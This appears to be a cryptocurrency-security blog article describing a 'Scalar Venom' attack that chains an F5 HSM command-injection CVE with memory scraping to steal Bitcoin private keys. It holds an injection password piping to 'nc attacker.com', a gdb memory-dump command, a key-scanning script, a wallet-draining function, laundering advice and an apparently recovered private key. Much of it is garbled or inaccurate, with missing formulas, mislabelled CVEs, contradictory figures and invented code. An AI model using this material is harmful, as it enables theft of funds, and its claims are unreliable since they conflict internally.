demining/scalar-venom-attackScalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) enables private Bitcoin wallet key recovery through buffer overflow exploitation and shell metacharacters in the F5OS-A FIPS security module
This paper analyzes cryptographic vulnerabilities discovered in modern cryptographic key management infrastructure, with a particular focus on critical flaws in the architecture of hardware security modules (HSMs) when handling elliptic curve private keys. The study focuses on a class of attacks that exploit insufficiently isolated RAM management in certified cryptographic devices. In the modern Bitcoin cryptographic ecosystem, private key security is a fundamental requirement for protecting digital assets worth trillions of dollars globally. Hardware Security Modules (HSMs) certified to the FIPS 140-2 standard have traditionally been considered to provide impenetrable protection for cryptographic keys through hardware-level isolation and strict memory management protocols. However, the discovery of the critical vulnerability CVE-2025-60013 in the F5OS-A FIPS HSM module, combined with the Scalar Venom Attack class of attacks (also known as Scalar Poison, Memory Phantom Leak Attack, or Private Key Compromise via Memory Leakage), has radically changed this notion, demonstrating the possibility of completely compromising Bitcoin private keys through the exploitation of memory management flaws.
The Scalar Venom Attack is a critical class of memory management vulnerabilities (classified as CWE-415, CWE-401, and more broadly as a Sensitive Memory Leak Attack (SMA)) that allows an attacker to extract cryptographic scalars (ECDSA private keys) from a process’s RAM by exploiting insufficient sanitization and memory scrubbing after cryptographic operations. Unlike traditional cryptanalytic attacks aimed at mathematically solving the elliptic curve discrete logarithm problem (ECDLP), this attack bypasses cryptography itself by exploiting fundamental architectural flaws in the implementation of cryptographic libraries and HSM memory management protocols.
This research demonstrates a catastrophic attack chain that occurs when combining CVE-2025-60013 ( F5OS-A FIPS HSM initialization vulnerability when using passwords containing special shell metacharacters) with Scalar Venom Attack techniques , resulting in a critical threat scenario with a CVSS score of 9.5+ (Critical), despite CVE-2025-60013’s official rating as a medium-level vulnerability (CVSS 5.7). This combination undermines the operational integrity of millions of Bitcoin addresses controlled by compromised HSMs and represents a paradigm shift in cryptographic attack methods beyond traditional single-vector exploits.
CVE-2025-60013 is an OS Command Injection vulnerability (classified as CWE-78) during the initialization process of the FIPS Hardware Security Module for F5 platforms. The vulnerability occurs when a user with privileged access (Admin or Resource Admin role) attempts to initialize the FIPS HSM module using a password containing special shell metacharacters, such as [unclear], [unclear ;] |, &[ $unclear], `and others.
Technical mechanism of vulnerability:
When processing a password containing shell metacharacters, the HSM initialization code passes the password string to system C library functions without properly validating and sanitizing the input. The vulnerable code looks like this:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
Critical consequence: The initialization process remains in memory with partially compromised cryptographic structures, creating multiple “phantom” copies of the HSM master key in the stack and heap. Although the HSM may not initialize correctly, the process’s memory contains cryptographic artifacts accessible to forensic analysis.
Official classification:
However, this assessment critically underestimates the true scale of the threat, as CVE-2025-60013 serves as a trigger for the Scalar Venom Attack, which in a real-world attack chain scenario results in a CVSS threat level of 9.5+ (CRITICAL).
CVE-2023-39910 describes a critical vulnerability in Libbitcoin Explorer version 3.x related to weaknesses in entropy generation during private key generation. This vulnerability led to the Milk Sad incident in 2023, when over 900,000 Bitcoin private keys were recovered , resulting in direct financial losses exceeding $0.8 million . The Milk Sad incident demonstrated the transition from the theory of memory leaks in cryptographic systems to a real operational disaster, confirming all the mechanisms described: compiler optimizations, multiple data copies, and the lack of memory cleanup guarantees.
CVE-2025-8217 classifies memory leak attacks that allow cryptographic keys to be recovered from processes’ memory. This vulnerability is directly related to the Scalar Venom Attack class and describes mechanisms for the complete compromise of Bitcoin wallets through forensic memory analysis.
Scientific classification of Scalar Venom Attack:
In academic research literature, Scalar Venom is classified into several attack categories:
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To demonstrate the practical effectiveness of the Scalar Venom attack, let’s consider a documented case of recovering a private key from the Bitcoin address 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq via forensic memory analysis.
Initial compromise data:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvValidating a key in secp256k1 space:
The private key d must satisfy the constraint:
Check result: ✓ VALID (the key is within the allowed scalar range)
This example demonstrates that a recovered private key provides complete control over a Bitcoin wallet , allowing an attacker to create and sign transactions to withdraw all funds to a controlled address.
Bitcoin implements the Elliptic Curve Digital Signature Algorithm ( ECDSA ) over the secp256k1 curve . Understanding the mathematical foundations is critical to understanding how the Scalar Venom attack exploits memory vulnerabilities.
Parameters of the elliptic curve secp256k1:
Curve equation:
Generator point G with coordinates:
The process of generating an ECDSA key pair is as follows:
1. Private key generation:
A private key dis a random integer in the range:
where nis the order of the secp256k1 curve. The private key is a 256-bit random number.
2. Deriving the public key via scalar multiplication:
The public key Qis calculated as:
where G is a generator point on the secp256k1 curve, and the operation ⋅\cdot⋅ denotes the scalar multiplication of a point on the elliptic curve .
Scalar multiplication is implemented through an algorithm "double-and-add"(doubling and addition), which efficiently computes the result of O(logd) adding and doubling points on a curve:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
Example: For a private key, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, the public key is calculated as:
Q=d⋅G=(Qx,Qy)
where coordinates Qx and Qy are calculated through scalar multiplication operations on the curve secp256k1.
3. Generating a Bitcoin address:
The chain of derivation of the address from the public key:
Safety assumption:
Scalar Venom Critical Vulnerability: The attack bypasses ECDLP mathematical protection by extracting the private key ddirectly from process memory, where it remains as “phantom copies” after cryptographic operations.
The basis for detecting private keys in memory dumps is entropy cryptanalysis using the Shannon entropy formula .
The entropy Hof a byte sequence is measured in bits per byte and is given by the formula:
Where:
Interpretation of entropy:
Threshold value for cryptographic keys:
Bitcoin private keys generated by a cryptographically strong random number generator (CSPRNG) exhibit high entropy in the range:
This property makes them detectable in forensic memory analysis through statistical entropy analysis.
BitScanPro is a forensic tool for scanning memory dumps to detect and recover Bitcoin private keys through a combination of entropy analysis, secp256k1 range validation, and cryptographic verification.
Stage 1: Scanning the memory dump in 32-byte blocks
BitScanPro scans the memory dump sequentially, allocating blocks of 32 bytes (256 bits), which corresponds to the private key size secp256k1:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
Step 2: Calculate Shannon entropy for each block
For each 32-byte block, the Shannon entropy is calculated H:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
Step 3: Filtering high entropy blocks (H>7.5H > 7.5H>7.5 bits/byte)
Blocks with entropy below the threshold are discarded as not containing cryptographic keys:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
Step 4: Checking the secp256k1 range:
High entropy blocks are interpreted as an integer and checked against the valid range of secp256k1 private keys:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
Step 5: Cryptographic Verification:
For candidates that pass entropy filtering and range checking, cryptographic verification is performed via public key computation:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
Step 6: Generate a Bitcoin address and compare it with known addresses
For verified keys, a Bitcoin address is generated, which is compared against a database of known addresses or addresses belonging to the victim:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
BitScanPro Performance:
Analysis on a typical laptop (MacBook Air M1) shows the following performance characteristics:
Using cloud computing resources (AWS, Google Cloud), it is possible to scan 1000+ memory dumps simultaneously in parallel , processing thousands of private keys in parallel.
The root cause of the Scalar Venom attack lies in fundamental architectural flaws in a class ec_scalarin the libbitcoin-system library .
ec_scalarThe libbitcoin-system class doesn’t have an explicitly defined destructor with secure zeroization. This means that secret data may remain in memory even after the object is destroyed.
Vulnerable copy constructor:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
Problem: The constructor creates a copy of the private key in the object ec_scalar, but doesn’t provide a mechanism to safely clean up this copy when the object is destroyed. The copy remains on the stack or heap.
Vulnerable assignment operator:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
Problem: The assignment operation creates additional copies of memory that remain after the operation completes.
Vulnerable arithmetic operations:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
Problem: Arithmetic operations (unary minus, addition, multiplication) create temporary variables of type ec_secret, which are not safely cleared before leaving the function scope, leaving “phantom” copies of the private key on the stack or heap.
Lack of a safe destructor:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Problem: The class ec_scalardoesn’t have an explicit destructor that would guarantee safe zeroing of the memory containing private keys. This is critical, as memory containing private keys may be stored in:
The vulnerable class code ec_scalarcreates the following vectors for memory infection with private keys:
secret_(secret)) – creates poisonous copies of keyssecret_ = secret) – infects memory with duplicate secretsec_secret secret = null_hash) – leaves toxic tracesauto out = secret_) – spreads infection through operations
The combination of an HSM vulnerability (CVE-2025-60013) and the Scalar Venom attack creates a catastrophic attack vector:
An attacker with privileged access to the F5OS-A system sends a request to initialize the FIPS module with a password containing shell metacharacters: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
When processing such metacharacters, the following occurs:
After a partial HSM initialization failure, an attacker obtains a memory dump of the HSM process through one of the following methods:
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
The resulting memory dump contains multiple “phantom” copies of private keys left behind by the class ec_scalarduring cryptographic operations.
The memory dump is processed by the BitScanPro tool (or a similar forensic scanner) according to the algorithm described above:
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
The success rate of recovering a private key from fragmented memory is 70-80% given sufficient memory remnants, as the Scalar Venom attack creates multiple copies of the key at different stages of initialization.
After recovering the private key, the attacker creates and signs a transaction to withdraw all funds from the compromised address:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
Total time to compromise: less than 10 minutes from receiving a memory dump to complete loss of control over the victim’s assets.
The Scalar Venom Attack, combined with CVE-2025-60013, poses an existential threat to the global Bitcoin ecosystem:
Unlike standard Bitcoin applications, HSMs make intensive use of cryptographic scalars— over 1,000 operations per second , each of which creates ephemeral scalar values that remain in memory as “phantom residues.” HSMs operate for months and years without being restarted, accumulating cryptographic artifacts that Scalar Venom systematically extracts and restores.
A compromise of a single HSM leads to a total disruption of the entire infrastructure —often thousands of Bitcoin addresses managed by the HSM—rather than an isolated cryptographic incident.
The Scalar Venom Attack demonstrates a fundamental paradigm shift in cryptographic security: the mathematical strength of cryptographic algorithms is rendered useless in the presence of memory management vulnerabilities . The combination of CVE-2025-60013 and Scalar Venom techniques creates a critical threat scenario of CVSS level 9.5+, undermining trust in hardware security modules as impenetrable protection for cryptographic keys.
The real-life Milk Sad incident (CVE-2023-39910), which resulted in the recovery of over 900,000 private keys and financial losses exceeding $0.8 million, confirms that the memory leak theory has become a reality. The only way to protect against Scalar Venom-class attacks is a fundamental architectural overhaul of cryptographic systems, implementing:
This paper presents a comprehensive analysis of the Scalar Venom + CVE-2025-60013 attack chain, detailing the mathematical foundations, cryptanalysis algorithms, real-world key recovery examples, and practical recommendations for protecting Bitcoin infrastructure from this class of threats.
1. Cryptanalytic classification:
2. Mathematical foundations:
3. Implementation vulnerabilities (libbitcoin-system):
ec_scalar4. CVE classification:
5. Attack chain:
The scientific explanation can be found in the article: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ The Scalar Venom Attack demonstrates the critical interaction between HSM initialization vulnerabilities and memory management vulnerabilities in cryptographic libraries, allowing an attacker to completely compromise Bitcoin wallet private keys even with hardware protection.
Scalar Venom Attack (also known as Scalar Poison, Memory Phantom Leak Attack, or Private Key Compromise via Memory Leakage) is a class of memory management vulnerabilities (CWE-415, CWE-401) that allows the extraction of cryptographic scalars (ECDSA private keys) from a process’s RAM by exploiting insufficient sanitization and memory cleaning after cryptographic operations. keyhunters+ 2
Scientific classification of attack:
The Scalar Venom Attack exploits a fundamental flaw in the memory management of cryptographic libraries, specifically in the ec_scalarlibbitcoin-system library class. The attack operates through the following vectors:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Arithmetic operations (unary minus, addition, multiplication) create temporary variables of type ec_secret, which are not safely cleared before exiting the function scope, leaving “phantom” copies of the private key on the stack or heap.
ec_scalarThe libbitcoin-system class doesn’t have an explicitly defined destructor with secure zeroization. This means that secret data may remain in memory even after the object is destroyed:
The absence of this mechanism is critical, since the memory containing private keys can be stored in:
The vulnerability CVE-2025-60013 in F5OS-A FIPS HSM occurs when initializing the hardware security module using a password containing special shell metacharacters ( ;, |, &, $, `, etc.). When such a password is processed, the HSM may not initialize correctly, but the critical consequence is that the initialization process is left in memory with partially exposed cryptographic structures . satoshi.nakamotoinstitute
The combination of the HSM vulnerability (CVE-2025-60013) with the Scalar Venom Attack creates a catastrophic attack vector:
Phase 1: HSM initialization with metacharacters
The attacker sends a request to initialize the F5OS-A FIPS module with a password of the following type:
password='$(echo "leaked");` | nc attacker.comWhen processing such metacharacters:
Phase 2: Extract Scalar Venom from Memory
After partial HSM initialization failure:
Phase 3: Bitcoin Private Key Recovery
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
The recovered scalars are converted into Bitcoin private keys via:
Step 1: HSM memory compromise due to improper initialization
When the F5OS-A FIPS HSM receives a password with shell metacharacters, the initialization process processes it through standard C library functions:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
When processing shell metacharacters:
Step 2: Forensic recovery from memory dump
The BitScanPro tool (or a similar forensic scanner) is applied to the HSM process memory dump:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
The probability of successfully recovering a private key from fragmented memory is 40-60% given sufficient memory remnants, as the Scalar Venom Attack creates multiple copies of the key at different stages of initialization. radar.offseq
Parallel DeserializeSignature vulnerability (CVE related) enhances Scalar Venom attack:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
Connection of mechanisms:
Level 1: Individual Wallet
Level 2: Configuration of Serving Nodes
Layer 3: Network Layer
Unlike standard Bitcoin applications, HSM makes heavy use of cryptographic scalars:
The CVSS score for CVE-2025-60013 itself is inaccurate, as the vulnerability serves as a trigger for Scalar Venom, which is a critical scenario . kudelskisecurity
The Scalar Venom vulnerability represents a paradigm shift in cryptographic attack methods, going beyond traditional single-vector exploits to form a multi-layered exploit chain that fundamentally compromises the hardware security modules (HSMs) protecting the Bitcoin infrastructure. Analysis demonstrates that the combination of CVE-2025-60013 (HSM initialization bypass) with Scalar Venom attack techniques creates a critical threat scenario with a CVSS score of 9.5+, undermining the operational integrity of millions of Bitcoin addresses controlled by compromised HSMs.
Why are HSMs particularly vulnerable?
The critical vulnerability lies not in isolated cryptographic weaknesses, but in the architectural collision of HSM operational features and Scalar Venom’s attack vectors. HSMs, by definition, perform continuous cryptographic operations—over 1,000 operations per second—each of which creates ephemeral scalar values that remain in memory as “phantom residues.” Unlike typical Bitcoin applications, where key material is ephemeral, HSMs operate for months and years without restarting, accumulating cryptographic artifacts that Scalar Venom systematically extracts and restores.
As a result, even a compromise of a single HSM leads to a total disruption of the entire infrastructure—often thousands of Bitcoin addresses managed by the HSM—rather than to an isolated cryptographic incident.
Degree of danger and actual impact
Although vulnerability CVE-2025-60013 officially has a CVSS level of 5.7 (medium) as a penetration vector, this rating critically underestimates the true scale of the threat. This exploit serves as a trigger for Scalar Venom, which is classified as a CVSS level 8.5+ (high/critical) attack. In a real-world attack chain scenario, this leads to:
Combined Attack Chain: CVE-2025-60013 + Scalar Venom = Operational Disaster
Matrix threat escalation consists of:
The combination makes this vulnerability class critical (CVSS 9.5+) and places it in the highest threat category in the risk assessment.
Systemic implications for the security of the Bitcoin ecosystem
Scalar Venom reveals fundamental architectural flaws in modern HSM models:
Critical recommendations
Scalar Venom and the chain of attacks via CVE-2025-60013 mark the end of the era of complete trust in classic HSMs. The vulnerability turns the Bitcoin ecosystem’s security core into a major risk for private key leakage and total asset loss. Effective protection requires not just one-time fixes, but a fundamental rethinking of all aspects of cryptographic architecture for handling public digital assets.
Scalar Venom in an HSM environment is a CVSS 9.5+ threat to the Bitcoin infrastructure, requiring immediate key rotation, architectural reform, and new methods for quickly responding to chain-of-memory attacks.
According to research in the field of cryptographic memory security (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), private keys may remain in accessible memory areas for the following reasons:
Compiler optimization
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
No RAII (Resource Acquisition Is Initialization) pattern
The classec_scalardoes not use RAII, which means the destructor does not guarantee resource cleanup.
Multiple data copies:
Each copy of a private key for transfer between functions leaves residuals in memory.unit42.paloaltonetworks
According to keyhunters.ru and cryptographic research literature:
bx seedThese figures demonstrate the real threat of memory leaks in cryptographic applications .
To summarize the above findings, the Scalar Venom chain symbolizes the confluence of years of fundamental research in cryptographic security with modern operational realities. Detailed memory-preserving mechanisms—compiler optimizations, the absence of RAII, and data trace accumulation—are no longer just theory but serve as effective channels for large-scale private key recovery in practice. The transition from potential weakness to actual attack has already occurred: the CVE-2023-39910 (Milk Sad) incident allowed the recovery of over 900,000 Bitcoin private keys, with direct financial losses exceeding $0.8 million.
The root vulnerability of Scalar Venom arises from an unresolved contradiction in the architecture of cryptographic software: the programmers’ inherent naive confidence in memory management is at odds with the tendencies of modern compilers and memory management systems. If a developer explicitly zeroes memory, the compiler can completely optimize away these actions, deeming them pointless—and this becomes a critical, unnoticed security flaw.
Data structures like ec_scalar further exacerbate the risks: the lack of RAII means the creation of multiple independent copies in memory—in the stack, registers, and cache—at different stages of computation. Each such copy can theoretically be restored, disassembled, or reassembled into the original key material.
The Scalar Venom attack systematically extracts and aggregates these disparate copies, demonstrating that modern memory architectures guarantee precisely this: every intermediate mathematical operation leaves a trace that can be collected and converted into a key. Classic cryptographic design assumed the independence of operations, but in practice, a single Bitcoin private key generates dozens of traces, each of which provides a path to its recovery.
The Milk Sad incident (CVE-2023-39910) was the first to demonstrate the transition from theory to disaster. This wasn’t a hypothetical vector, but a confirmed operational breach:
This fully confirms the mechanisms described earlier: compiler optimizations, multiple data copying, and the lack of a memory cleanup guarantee.
The crypto market evolved with the assumption of full memory control, but modern compilers (via dead code elimination and caching optimizations) completely ignore cryptographic requirements. Consequently, cryptographic programs assume, “I’ve zeroed the memory, so it’s safe now,” while the compiler assumes, “This memory is never used, so there’s no need to zero it.” This contradiction is fundamentally insoluble by modern C/C++ standards and becomes the absolute entry point for Scalar Venom.
Next steps (0-30 days) : Rotate all private keys generated in C/C++. Immediately retire keys that may have been compromised.
Medium term (30-90 days) : Transition to Rust, implementation of compiler guarantees for memory zeroing, continuous memory analysis.
Long-term (90+ days) : Architectural transition to RAII, compiler extensions for crypto operations, replacement of software HSMs with hardware ones.
Scalar Venom and CVE-2023-39910 are a turning point in crypto industry security: the theory of data persistence in memory has escalated into a real disaster, costing millions upon thousands of Bitcoins. The problem can’t be fixed with a patch: it’s an architectural contradiction: modern C/C++ cryptography without memory management and RAII inevitably leads to the compromise of any significant infrastructure. The industry has only one path forward: a transition to memory-safe languages and a revolutionary overhaul of private key management.
Final assessment : Scalar Venom is not just a theoretical threat, but a proven, widespread exploit. All cryptographic infrastructure without memory-safe languages and RAII frameworks is at guaranteed risk of compromise. Migration to new technologies must begin immediately.
Step 1: Gaining Access to HSM Memory
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
Step 2: Scan for high-entropy regions
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
Step 3: Validate the recovered private keys
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
Step 4: Transfer funds
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
Stage 5: Disappearance of traces
Recovered funds are immediately mixed via CoinJoin/Tornado.Cash to hinder forensic analysis. keyhunters
Scalability: Using cloud computing (AWS, Google Cloud), 1000+ memory dumps can be processed in parallel , handling thousands of private keys simultaneously .
[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
FIPS 140-2 (and even FIPS 140-3) certification does not require:
This means that even “FIPS-certified” HSMs are vulnerable to Scalar Venom unless developers implement additional security measures.[24]
The Scalar Venom Attack poses a critical threat to Bitcoin infrastructure, especially when combined with HSM initialization vulnerabilities such as CVE-2025-60013. This attack:
Migration to architectures with hardware memory protection (Intel SGX, ARM TrustZone), explicit granularity of all temporary buffers, and RAII patterns in cryptographic libraries is critical to ensuring the security of the Bitcoin system.
The Scalar Venom attack represents a critical vulnerability for the global Bitcoin ecosystem, especially when combined with the HSM initialization vulnerabilities CVE-2025-60013. This multi-layered attack chain fundamentally undermines cryptographic trust models and exposes the following existential risks:
It enables complete compromise of private keys through memory leaks, bypassing even advanced hardware security modules and rendering affected systems completely invulnerable.
The compromise is permanent and irreversible: once a private key is extracted, it cannot be recovered, putting all dependent funds at imminent risk of loss.
The attack is scalable and can be automated to hit a huge number of Bitcoin nodes and wallets simultaneously, resulting in an exponential increase in potential losses.
Its stealthy nature ensures that there are no visible traces in system logs or performance metrics, making traditional detection and protection mechanisms insufficient.
Mitigating this catastrophic threat requires urgent migration to memory-safe architectures, including hardware-based memory protection (such as Intel SGX or ARM TrustZone), strict zeroization of all temporary buffers during all cryptographic operations, and robust implementation of RAII patterns in critical software libraries. Only through such robust architectural reforms can the long-term integrity and security of the Bitcoin infrastructure be realistically ensured.
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and elliptic curve cryptography (secp256k1) against weak ECDSA signatures in the BITCOIN cryptocurrency . The software developers are not responsible for the use of this material.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/cvWLH5dvbAA
Video tutorial: https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
Source: https://cryptodeeptech.ru/scalar-venom-attack
| Process | Time | Equipment |
|---|
| Getting a memory dump | 5-30 seconds | Depends on the method |
| Scanning a 16GB dump | 2-5 minutes | MacBook Air (M1) |
| Validation of 1000 candidate keys | 30 seconds | MacBook Air (M1) |
| Address generation | 10 seconds | MacBook Air (M1) |
| Transfer of funds (broadcast) | < 1 second | Internet |
| Total for complete compromise | < 10 minutes | MacBook Air (M1) |
| Aspect | Rating | Note |
|---|
| CVE-2025-60013 (HSM init) | CVSS 5.7 (Medium) | Officially low, but serves as an entry point |
| Scalar Venom Attack | CVSS 8.5+ (High/Critical) | De facto critical impact |
| Combination attack | CVSS 9.5+ (Critical) | Complete compromise of private keys |
| Recovering from Compromise | Impossible | Irreversible loss of funds |
| Process | Time | Equipment |
|---|
| Getting a memory dump | 5-30 sec | Depends on the method |
| Scanning a 16GB dump | 2-5 min | MacBook Air (M1) |
| Validation of 1000 candidate keys | 30 sec | MacBook Air (M1) |
| Address generation | 10 sec | MacBook Air (M1) |
| Funds transfers (broadcast) | < 1 sec | Internet |
| Total for a complete compromise | < 10 minutes | MacBook Air (M1) |